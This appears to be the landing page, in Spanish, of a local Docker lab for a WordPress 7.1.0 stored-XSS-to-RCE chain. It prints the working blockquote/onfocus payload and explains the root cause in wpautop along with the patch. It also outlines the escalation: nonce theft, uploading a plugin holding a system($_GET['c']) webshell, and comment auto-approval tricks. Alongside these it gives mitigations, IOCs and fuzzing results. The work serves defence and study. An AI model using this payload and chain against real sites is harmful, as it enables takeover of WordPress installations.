Stored XSS no autenticado en el core de WordPress -> RCE vía sesión de administrador. Zero-click.
Aprender el bug y su parche · enseñar defensa con el control 7.1.1 · probarte en localhost.
Atacar sistemas ajenos · integrar el payload en herramientas ofensivas contra terceros · cualquier uso con ánimo de daño.
Sobre la procedencia del material. Todo lo que este laboratorio reproduce era público antes de este repositorio: el payload y la cadena de ataque proceden del write-up publicado por el descubridor, y el análisis del parche, del código publicado por WordPress.org. Este repositorio no aporta técnicas de ataque nuevas: sus aportaciones (sección 03b) son de análisis y defensa. Toda la ejecución ocurre en contenedores Docker locales.
El modo invasivo del CLI (cli/poc.py explotar) exige --acepto-responsabilidad y se niega a salir de hosts locales. La webshell de demostración está etiquetada (c2s-demo, cabecera X-Lab-Marker) y make clean elimina todo el laboratorio.
Aviso de responsabilidad. Este proyecto se distribuye tal cual, con fines exclusivamente educativos y de investigación defensiva, sin garantía de ningún tipo. El autor no se hace responsable del uso que terceros hagan de la información o el código aquí publicados. Todo el material ofensivo reproduce información pública previa y toda la ejecución mostrada ocurre en contenedores Docker locales. El uso contra sistemas sin autorización expresa es ilegal en la mayoría de jurisdicciones y queda prohibido.
Fuentes: Rafie Muhammad · write-up original · commit del parche · Patchstack (CVE, CVSS 7.1) · cronología en research/writeup-original.md · MIT
Un visitante anónimo lo envía por el formulario público de comentarios. El salto de línea dentro de cite es un byte real (0x0A), no un escape; también funciona
porque WordPress lo decodifica al almacenar:
<blockquote cite="a b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>
| Pieza | Por qué sobrevive al saneado |
|---|---|
cite="a\nb" |
blockquote[cite] está en la allowlist de kses y wp_kses_hair() re-codifica & < > ' " en los valores… pero no el salto de línea (legal en HTML). |
<code>x" … |
La comilla cruda es TEXTO legal dentro de <code> (también permitido). kses deja los nodos de texto intactos. |
onfocus… autofocus… tabindex=0 |
Inofensivo mientras sea texto; letal cuando el renderizador lo convierte en atributos (paso 4). Se necesitan AMBOS ingredientes: quita el \n o la comilla y el payload muere. |
El bug vive en el hueco entre el filtro que sanea al guardar (kses, con el tokenizer HTML API consciente de comillas) y los filtros que REESCRIBEN el HTML al renderizar (regex sobre strings, sin noción de comillas).
| prio | línea | callback | papel en el ataque |
|---|---|---|---|
| 9 | 227 | make_clickable | — (no afecta) |
| 10 | 58 | wp_kses_post | sanea… y deja pasar el \n y la comilla |
| 10 | 225 | wptexturize | inocua aquí: el tag aún está bien formado y <code> está en su lista de exclusión |
| 25 | 228 | force_balance_tags | — |
| 30 | 230 | wpautop | AQUÍ DIVERGE: su línea 563 inyecta ><p> EN MEDIO del valor de cite (solo 7.1.0) |
…y después, sobre el HTML FINAL de la plantilla: block-template.php:297: $content = wptexturize( $content ); — la pasada que riza la comilla. | |||
La allowlist permite blockquote[cite] y <code>. El \n del cite y la comilla del texto sobreviven (ver tabla de arriba).
wpautop protege el \n con el placeholder <!-- wpnl -->… que contiene un >. El regex |<p><blockquote([^>]*)>|i no es consciente de comillas: se detiene en ese > interno e inserta ><p> EN MEDIO del valor de cite.
La pasada de wptexturize sobre el HTML FINAL de la plantilla (block-template.php:297) convierte la comilla de cierre del cite en ” (el atributo queda abierto): el <p> inyectado actúa de frontera. Pero <code> está en su lista de exclusión, así que la comilla del payload sobrevive cruda.
El valor de cite se extiende hasta la comilla de <code>x". El resto — onfocus, autofocus, tabindex=0 — son atributos reales del <blockquote>. tabindex=0 lo hace enfocable; autofocus dispara onfocus al cargar. Solo con VER la página.
<blockquote cite="a <p> b”><code>x" onfocus=alert(document.domain) autofocus tabindex=0>…
La comilla de cierre está rizada (”) -> el navegador sigue dentro del atributo hasta la comilla del payload -> onfocus es un atributo real y se dispara solo.
<blockquote cite="a b"><p><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>
La comilla sobrevive -> el payload es texto dentro de <code>. Atributos on* en todo el DOM: 0.
--- wp-includes/formatting.php · función wpautop() · línea 563 - $text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text ); + $text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
El patrón nuevo solo cruza comillas por pares completos ("…"), así que el match termina en el > real del tag y el <p> se inserta donde toca. La justificación del parche: la línea 563 era el único lugar donde wpautop INSERTA contenido dentro de un tag; el resto de sus regex solo borran <p>/</p>/<br /> alrededor de tags de bloque, y borrar no cierra comillas.
Enlaces: commit del parche (b05c380) · diff completo 7.1…7.1.1 · tag 7.1.1 · releases de WordPress
Nota forense: wordpress.org retiró el tarball de 7.1.0 (HTTP 404 hoy); el código vulnerable se obtiene del tag 7.1 del mirror GitHub WordPress/WordPress. El Dockerfile del lab lo hace automáticamente.
El diff incluye también un segundo cambio de seguridad: 7.1.1 también endureció WP_HTML_Tag_Processor::set_modifiable_text() (class-wp-html-tag-processor.php:3991: /--!?>/ -> /^-?>|--!?>/). No está en el camino de lectura de kses ni lo mencionó la cobertura pública del CVE.
Hallazgos verificados contra el laboratorio con comandos reproducibles (research/HALLAZGOS.md en el repo).
La superficie NO es solo comentarios: un colaborador autenticado (sin unfiltered_html) puede plantar el mismo payload como CONTENIDO DE POST — mismo kses al guardar, mismo wpautop, misma pasada de plantilla. Verificado con ejecución real en navegador (7.1.0) e inerte en 7.1.1. IOCs: vigilar también post_content. Reprodúcelo: make post2shell.
El XSS SOLO dispara en el render del tema (frontend). En el dashboard y en REST el payload llega al estado intermedio (wpautop inyectó el <p>, pero la comilla no se riza): la pasada que rompe el atributo vive en get_the_block_template_html(), que no participa ahí. Acota el escenario real, ayuda en forense y tiene valor defensivo (plantilla sin comentarios -> solo expone la vía posts).
kses.php es IDÉNTICO entre 7.1.0 y 7.1.1: el \n dentro de valores de atributo sigue almacenándose (legal en HTML). El parche desactivó el consumidor peligroso (el regex), no el habilitador. Riesgo latente: cualquier código futuro que vuelva a insertar contenido dentro de tags con regex no conscientes de comillas reabre la puerta.
Las líneas 557/567/570/588/591 de wpautop siguen usando [^>]* sin noción de comillas. Nuestro fuzzer (~3.800 candidatos contra el pipeline real de ambas versiones) NO encontró ningún diferencial explotable vía ellas — consistente con la justificación del parche (solo la 563 insertaba). Quedan como patrón a vigilar. Tampoco encontramos NINGÚN bypass del parche.
Reportado y triaged (Rafie Muhammad vía HackerOne / bug bounty de WordPress)
CVE solicitado (CNA: Patchstack)
Parche en WP 7.1.1 + backports a 25 ramas el mismo día (hasta 4.7.36)
CVE-2026-93485 asignado · CVSS 7.1
Write-up del descubridor (renombrado Comment2XSS a petición de WordPress)
Cobertura de prensa (The Hacker News, Secarma, Aviatrix…)
Este laboratorio: derivación independiente + hallazgos propios
| Rama | Vulnerable |
|---|---|
| 7.1.x | 7.1.0 (la de este lab) |
| 7.0.x | 7.0.0 – 7.0.4 |
| 6.9.x | 6.9.0 – 6.9.7 |
| anteriores… | hasta 4.7.35 (backports a 4.7.36+) |
Matiz de detección: el meta generator y el feed solo exponen major.minor (7.1), compartido por 7.1.0 y 7.1.1 — la detección pasiva no distingue parcheado de vulnerable; confirma wp-includes/version.php.
El JS (ya en sesión admin) pide /wp-admin/plugin-install.php?tab=upload y extrae el _wpnonce del formulario.
Construye un PKZIP (entradas STORED + CRC32 propio) con un plugin PHP de una línea system($_GET['c']).
POST a update.php?action=upload-plugin. Los admin tienen upload_plugins vía map_meta_cap(). Sin activación: los ficheros son directamente alcanzables.
/wp-content/plugins/x/x.php?c=id -> ejecución de comandos con el usuario del servidor web.
comment_previously_approved vale 1 por defecto, PERO una instalación nueva trae un comentario aprobado de WordPress Commenter: reusar ese nombre+email auto-aprueba el siguiente.comment_author_<hash> vía el enlace preview ?unapproved=<id>&moderation-hash=<hash>.En el laboratorio esta fase la replica exploit/05_rce.sh con la sesión admin (equivalente 1:1 a tener el navegador comprometido), porque el objetivo es entender la cadena.
Regenerables con make capturas. La primera pareja usa una variante del payload con efecto visible (el onfocus repinta la página) para que una imagen estática muestre la ejecución zero-click.
Requisitos: Docker + docker compose, curl, python3, make. Todo corre en TU máquina contra TUS contenedores; make clean lo destruye.
# desde la raíz del repositorio make lab # víctima WP 7.1.0 -> http://localhost:8080 (admin / lab-admin-2026) make plant # fase 1: comentario anónimo con el payload make view # fase 2: HTML servido -> veredicto make demo-flip # fase 3: root-cause con el código real 7.1.0 vs 7.1.1 make rce # fase 5: nonce -> plugin -> uid=33(www-data) make post2shell # fase 6 (aportación): vía posts de colaborador make full-demo # todo + control negativo WP 7.1.1 en :8081 python3 cli/poc.py # CLI: lab · scan (pasivo) · verificar · explotar (con fricción) make capturas # regenera las capturas de evidencia (docs/img/) make clean # destruir el laboratorio
Comprobación directa: logueado como admin, abre el post en tu navegador — la alerta salta sin ningún clic.
| Afirmación | Cómo verificarla |
|---|---|
| El \n sobrevive a kses dentro de cite | make plant (muestra el comentario almacenado vía REST) |
| wpautop 7.1.0 inyecta <p> dentro del atributo; 7.1.1 no | make demo-flip (PASO 0 extrae la cadena del código real; PASO 5 se difiere contra el HTML en vivo) |
| El HTML servido deja atributos vivos solo en 7.1.0 | make view + lo mismo en :8081 |
| El XSS se ejecuta sin clics en un navegador real | abrir el post como admin (o Chrome headless — ver research/RESULTADOS.md) |
| La cadena llega a RCE sin activar ningún plugin | make rce -> uid=33(www-data) |
| Aportación: la vía posts de colaborador vive en 7.1.0 y muere en 7.1.1 | make post2shell / make post2shell-control |
| El parche lo neutraliza todo | make control-7111 + repetir plant/view en :8081 |
| Medida | Efecto |
|---|---|
| Actualizar a WP 7.1.1+ (o backport de tu rama) | La única mitigación real. 25 ramas parcheadas el mismo día. Cubre comentarios Y posts (aportación). |
Moderación estricta (comment_moderation=1) |
El payload salta al moderar, no al visitar el post público. Ojo con los escenarios sin moderación del write-up (sección 04). |
| mu-plugin temporal (quitar \n en tags antes de wpautop) | Verificado contra el código real de 7.1.0 con el harness de este repo. Puente hasta actualizar. |
Roles diarios sin upload_plugins |
Contención del impacto: limita la escalada XSS->RCE. |
add_filter( 'comment_text', 'c2s_strip_nl_in_tags', 29 );
function c2s_strip_nl_in_tags( $text ) {
return preg_replace_callback(
'/<[^<>]*>/',
fn( $m ) => str_replace( "\n", ' ', $m[0] ),
$text
);
}
Prioridad 29 = justo antes de wpautop. Al quitar los saltos de línea dentro de tags, el placeholder «wpnl» deja de existir y el regex vulnerable ya no tiene dónde romper el atributo. Test de regresión incluido en el repo (research/investigacion/test-mitigacion.php).
IOCs:
comentarios con blockquote cite que contenga saltos de línea + comilla cruda en el texto; atributos onfocus/autofocus/tabindex sobre <blockquote> en HTML renderizado; también en post_content de usuarios de baja confianza; subidas de ZIP a update.php?action=upload-plugin poco después de que un admin viera posts con comentarios nuevos.
research/investigacion/ carga kses.php + formatting.php + html-api reales de 7.1.0 y 7.1.1 (procesos separados) y ejecuta el pipeline completo de comment_text. Sin servidor, sin navegador: solo las dos implementaciones sobre la misma entrada.
Combinaciones de prefijos, atributos con saltos, comillas crudas en texto y etiquetas incompletas contra ambas versiones; solo cuentan los casos ejecutables en 7.1.0 E inertes en 7.1.1 (el diferencial del parche).
Las dos primeras rondas del fuzzer dieron 0 diferenciales porque el pipeline de prueba paraba en wpautop: sin la pasada de wptexturize a nivel de plantilla (la que riza la comilla), el payload queda inerte también en 7.1.0. El pipeline completo está en el core; la demo lo extrae del código fuente y se auto-verifica contra el lab en vivo (PASO 0 y PASO 5 de make demo-flip).
El write-up del descubridor (recuperado vía Wayback Machine tras ser renombrado) confirmó el payload derivado. La ejecución se probó con marcadores DOM en Chrome headless (víctima) y con 0 atributos on* (control) — nunca contra servidores ajenos.
CVE-2026-93485/ ├── docker-compose.yml víctima :8080 + control 7.1.1 :8081 + MySQL 8 ├── docker/wordpress/ Dockerfile (WP_VERSION), fetch y entrypoint del lab ├── setup/init.sh provisioning: post público, comentarios auto-aprobados ├── exploit/ fases 1-6: plant -> view -> demo root-cause -> JS -> RCE -> Post2Shell ├── cli/poc.py lab · scan · verificar · explotar (con fricción) ├── docs/ esta landing + capturas (la sirve GitHub Pages) ├── docs/img/ capturas del README (make capturas) ├── research/ PARCHE · HALLAZGOS · write-up original · RESULTADOS · harness/fuzzers ├── NOTAS.md proceso de derivación completo └── Makefile un target por fase + capturas + limpieza